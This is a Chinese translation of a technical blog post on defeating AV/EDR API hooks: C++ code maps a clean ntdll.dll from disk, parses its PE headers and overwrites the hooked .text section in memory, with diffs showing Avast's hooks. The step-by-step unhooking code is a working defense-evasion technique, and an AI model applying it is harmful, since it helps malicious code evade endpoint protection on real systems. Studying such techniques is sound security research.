用c++解析PE 绕过AV/EDR API挂钩

企业动态
这篇文章涵盖了几个主题,比如系统调用、用户模式与内核模式,以及我在本文将要介绍的Windows体系结构。

[[342999]]

 这篇文章是使用最初是由@spotless编写的代码来绕过AV/ EDR创建的API挂钩。我想说明的是,spotless已经在这方面做了一些准备工作,我只是做了一些小的功能更改,并添加了许多注释和文档。这主要是为了提高我对这个主题的理解,因为我发现在手头有MSDN文档的情况下逐个函数地浏览代码是了解它如何工作的好方法。它可能有点单调乏味,这就是为什么我对代码进行过多的文档化,以便其他人能够从中吸取经验。

这篇文章涵盖了几个主题,比如系统调用、用户模式与内核模式,以及我在本文将要介绍的Windows体系结构。在这篇文章中,我将在本文中假定对这些主题有一定程度的了解,这篇文章的代码可以在这里找到。

理解API挂钩

钩到底是什么?它是AV/EDR产品常用的一种技术,用于拦截函数调用,并将代码执行流程重定向到AV/EDR,以检查调用并确定是否为恶意调用。这是一项功能强大的技术,因为防御性应用程序可以一步一步查看你进行的每个函数调用,确定其是否为恶意程序并将其阻止。更糟糕的是(对于攻击者来说),这些产品在系统库/ DLL中挂钩本地函数,这些DLL位于传统使用的Win32 API之下。例如,WriteProcessMemory是一种常用的Win32 API,用于将shellcode写入进程地址空间,实际上调用了ntdll.dll中包含的未文档化的本机函数NtWriteVirtualMemory。 NtWriteVirtualMemory实际上是对内核模式的系统调用的包装函数。由于AV / EDR产品能够在用户模式代码可访问的最低级别上挂接函数调用,因此无法对其进行转义。

挂钩发生的位置

为了理解如何绕过挂钩,我们需要知道它们是如何以及在哪里创建的。当进程启动时,某些库或DLL将作为模块加载到进程地址空间中。每个应用程序都是不同的,将加载不同的库,但无论它们的功能如何,实际上所有的应用程序都将使用ntdll.dll,因为许多最常见的Windows函数都驻留在其中。防御性产品通过在DLL中连接函数调用来利用这一事实。通过挂钩,我们实际上是指修改函数的汇编指令,在函数的开头插入一个无条件跳转到EDR的代码中。EDR处理函数调用,如果允许,执行流将跳回原始函数调用,以便函数正常执行,而调用进程不知情。

识别挂钩

所以我们知道在我们的进程中,ntdll.dll模块已经被修改,我们不能相信任何使用它的函数调用。我们怎样才能解开这些挂钩呢?我们可以确定我们所使用的Windows的确切版本,找出实际的组装说明应该是什么,并尝试在运行中修补它们。但是这样做会很乏味,容易出错,而且不可重用。事实证明,磁盘上已经存在一个原始的,未经修改的,未经摘录的ntdll.dll版本!

因此,正确的策略应该如下。首先,我们将ntdll.dll的副本映射到我们的进程内存中,以使用一个干净的版本。然后,我们将在过程中确定挂钩版本的位置。最后,我们只需用干净的代码重写挂钩的代码,就可以了!

映射NtDLL.dll

映射ntdll.dll文件的视图实际上非常简单,我们获得了ntdll.dll的句柄,获得了它的文件映射的句柄,并将其映射到我们的进程中:

  1. HANDLE hNtdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);HANDLE hNtdllFileMapping = CreateFileMapping(hNtdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 1, 0, NULL);LPVOID ntdllMappingAddress = MapViewOfFile(hNtdllFileMapping, FILE_MAP_READ, 0, 0, 0); 

很简单,现在我们已经将干净的DLL映射到我们的地址空间中,现在我们来查找挂钩副本。

要在进程内存中找到挂钩的ntdll.dll的位置,我们需要在进程中加载的模块列表中找到它。本例中的模块是DLL和进程的主要可执行文件,在进程环境块中存储了它们的列表。PEB的具体介绍请点击这里。要访问这个列表,我们可以获取流程和所需模块的句柄,然后调用GetModuleInformation。然后,我们可以从miModuleInfo结构中检索DLL的基地址:

  1. handle hCurrentProcess = GetCurrentProcess(); 
  2. HMODULE hNtdllModule = GetModuleHandleA("ntdll.dll"); 
  3. MODULEINFO miModuleInfo = {}; 
  4. GetModuleInformation(hCurrentProcess, hNtdllModule, &miModuleInfo, sizeof(miModuleInfo)); 
  5. LPVOID pHookedNtdllBaseAddress = (LPVOID)miModuleInfo.lpBaseOfDll; 

好的,因此我们在进程中具有已加载的ntdll.dll模块的基地址。但这到底是什么意思?DLL是一种与EXE一起可移植的可执行文件。这意味着它是一个可执行文件,因此包含各种不同类型的标头文件和节,这些文件可让操作系统知道如何加载和执行该文件。如上所示PE标头是密集而复杂的,但是我发现看到一个实际的工作示例仅利用了其中的一部分,就很容易理解。哦,图片也不会受伤。那里有很多细节级别各不相同的东西,但是来自Wikipedia的一个很好的示例有足够的细节而又不至于太令人费解:

 

你可以在DOS标头的PE开头看到Windows的遗留物,它一直都在那儿,但现在已经没有什么用处了。但是,我们将获取其地址,作为获取实际PE标头的偏移量:

  1. PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)pHookedNtdllBaseAddress; 
  2. PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)pHookedNtdllBaseAddress + hookedDosHeader->e_lfanew); 

在这里,hookedDosHeader结构体的e_lfanew字段包含一个到模块内存的偏移量,该偏移量标识PE标头文件实际上从哪里开始,也就是上图中的COFF头文件。

现在我们位于PE标头的开头,我们可以开始对其进行解析以查找所需的内容。但是,让我们退后一步,准确地确定我们在寻找什么,这样我们就知道什么时候我们找到了它。

每个可执行文件/ PE都有许多部分,这些部分代表程序中各种类型的数据和代码,例如实际的可执行代码、资源、图像、图标等。这些类型的数据在可执行文件中分为不同的带标签的部分,命名为.text、.data、.rdata和.rsrc。.text节(有时也称为.code节)是紧随其后的,因为它包含组成ntdll.dll的汇编语言指令。

那么我们如何访问这些部分呢?在上图中,我们看到一个节表,其中包含一个指向每个节开始的指针的数组。非常适合遍历和查找每个部分,这是通过使用for循环并遍历挂钩edNtHeader-> FileHeader.NumberOfSections字段的每个值来找到.text部分的方法:

  1. for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) 
  2.     // loop through each section offset 

从现在开始,别忘了我们将在循环中寻找.text部分。为了识别它,我们使用循环计数器i作为节表本身的索引,并获得指向节头的指针

  1. PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); 

每个节的节标题包含该节的名称,因此,我们可以查看每一个,看看它们是否与.text匹配:

  1. if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) 
  2.     // process the header 

无论如何它的标头如何,我们找到了.text节!现在我们需要知道该部分中实际代码的大小和位置。本节标头包含了以下两方面内容:

  1. LPVOID hookedVirtualAddressStart = (LPVOID)((DWORD_PTR)pHookedNtdllBaseAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress); 
  2. SIZE_T hookedVirtualAddressSize = hookedSectionHeader->Misc.VirtualSize; 

现在,我们有了所有需要的东西,我们可以用磁盘上的干净的ntdll.dll重写加载和钩住的ntdll.dll模块的.text部分:

· 要复制的源文件(磁盘上的内存映射文件ntdll.dll);要复制到的目的地(.text节的hookedSectionHeader->VirtualAddress);

· 复制的字节数(hookedSectionHeader->Misc.VirtualSize字节)。

保存的输出

至此,我们保存了.text节的全部内容,因此我们可以对其进行检查,并将其与干净版本进行比较,从而知道解除链接成功了:

  1. char* hookedBytes{ new char[hookedVirtualAddressSize] {} }; 
  2. memcpy_s(hookedBytes, hookedVirtualAddressSize, hookedVirtualAddressStart, hookedVirtualAddressSize); 
  3. saveBytes(hookedBytes, "hooked.txt", hookedVirtualAddressSize) 

这仅是挂钩.text节的一个副本,并调用saveBytes函数,该函数将字节写入一个名为hook .txt的文本文件,稍后我们将研究这个文件。

内存管理

为了重写.text部分的内容,我们需要保存当前的内存保护并将其更改为读/写/执行,完成后,我们将其改回来

  1. bool isProtected; 
  2. isProtected = VirtualProtect(hookedVirtualAddressStart, hookedVirtualAddressSize, PAGE_EXECUTE_READWRITE, &oldProtection); 
  3. // overwrite the .text section here 
  4. isProtected = VirtualProtect(hookedVirtualAddressStart, hookedVirtualAddressSize, oldProtection, &oldProtection); 

绕过过程

我们终于到了绕过过程,首先,我们从获取内存映射的ntdll.dll的开头地址开始,作为我们的复制源:

  1. LPVOID cleanVirtualAddressStart = (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress); 

我们还要保存这些字节,以便稍后进行比较:

  1. char* cleanBytes{ new char[hookedVirtualAddressSize] {} }; 
  2. memcpy_s(cleanBytes, hookedVirtualAddressSize, cleanVirtualAddressStart, hookedVirtualAddressSize); 
  3. saveBytes(cleanBytes, "clean.txt", hookedVirtualAddressSize); 

现在我们可以用未钩住的ntdll.dll重写.text部分:

  1. memcpy_s(hookedVirtualAddressStart, hookedVirtualAddressSize, cleanVirtualAddressStart, hookedVirtualAddressSize); 

怎么知道是否被绕过了?

那么我们怎么知道我们实际上删除了挂钩,而不是移动了一堆字节呢?让我们检查一下输出文件hook .txt和clean.txt。这里我们使用VBinDiff对它们进行比较,第一个示例是在没有安装AV/EDR产品的测试设备上运行程序,正如预期的那样,加载的ntdll和磁盘上的ntdll是相同的:

因此,让我们再次在运行有挂钩的Avast Free Antivirus的计算机上再次运行它:

 

 

现在,让我们看看hooked.txt的开头和clean.txt的结尾,它们之间有明显的区别,用红色标出。我们可以获取这些原始字节,这些原始字节实际上代表汇编指令,然后使用在线反汇编程序将它们转换为其汇编表示。

以下就是干净的ntdll.dll的反汇编结果:

  1. mov    QWORD PTR [rsp+0x20],r9 
  2. mov    QWORD PTR [rsp+0x10],rdx 

以下就是挂钩后的版本:

  1. jmp    0xffffffffc005b978 
  2. int3 
  3. int3 
  4. int3 
  5. int3 
  6. int3 

可以看到一个清晰的jump! ,这意味着当它被加载到我们的进程中时,ntdll.dll中的某些内容已经发生了明显的变化。

但是我们怎么知道它实际上是在连接一个函数调用呢?让我们看看能不能找到更多的答案。这是顶部挂钩的DLL和底部干净的DLL之间的另一个差异示例:

首先清理DLL:

  1. mov    r10,rcx 
  2. mov    eax,0x37 
  3. mov    r10,rcx 
  4. mov    eax,0x3a 

挂钩的DLL:

  1. jmp    0xffffffffbffe5318 
  2. int3 
  3. int3 
  4. int3 
  5. jmp    0xffffffffbffe4cb8 
  6. int3 
  7. int3 
  8. int3 

现在,我们看到了更多的跳跃。但是这些mov eax和编号指令是什么意思?这些是系统调用号码!如果你阅读了我以前的文章,我将介绍如何以及为什么在汇编中准确找到这些内容。这个想法是使用syscall号直接调用底层函数,以避免挂钩!但是,如果你想运行尚未编写的代码怎么办?如何防止这些挂钩捕获你无法更改的代码?如果你到目前为止已经做到了,那么你已经知道了!因此,让我们使用Mateusz“j00ru”Jurczyk的简化版Windows系统调用表,并将syscall编号与其相应的函数调用进行匹配。

看看,我们发现了什么?0x37是NtOpenSection, 0x3a是NtWriteVirtualMemory! ,Avast 显然是在连接这些函数调用,而且我们知道我们已经用干净的DLL重写了它们。

本文翻译自:https://www.solomonsklash.io/pe-parsing-defeating-hooking.html如若转载,请注明原文地址:

 

责任编辑:姜华 来源: 嘶吼网
相关推荐

2017-11-06 05:52:52

2024-01-04 11:48:32

EDRHook堆栈

2023-10-30 10:29:50

C++最小二乘法

2012-08-03 08:57:37

C++

2011-04-11 09:43:25

C++C

2010-01-25 18:24:11

C++

2010-01-21 11:23:58

C++函数调用

2010-01-27 10:22:53

C++基类

2010-01-15 17:38:37

C++语言

2013-06-24 15:32:00

c++GCC

2010-05-14 15:23:03

2010-02-01 16:40:14

C++枚举子

2010-01-28 13:15:43

C++参数

2010-02-05 12:57:20

C++ kdevelo

2023-11-09 23:31:02

C++函数调用

2010-02-02 16:15:38

C++变量声明

2010-01-13 18:47:53

C++教程

2023-09-17 22:50:23

C++编程

2015-02-04 10:49:13

Visual C++C++Windows API

2010-01-19 09:19:02

C++封装
点赞
收藏

51CTO技术栈公众号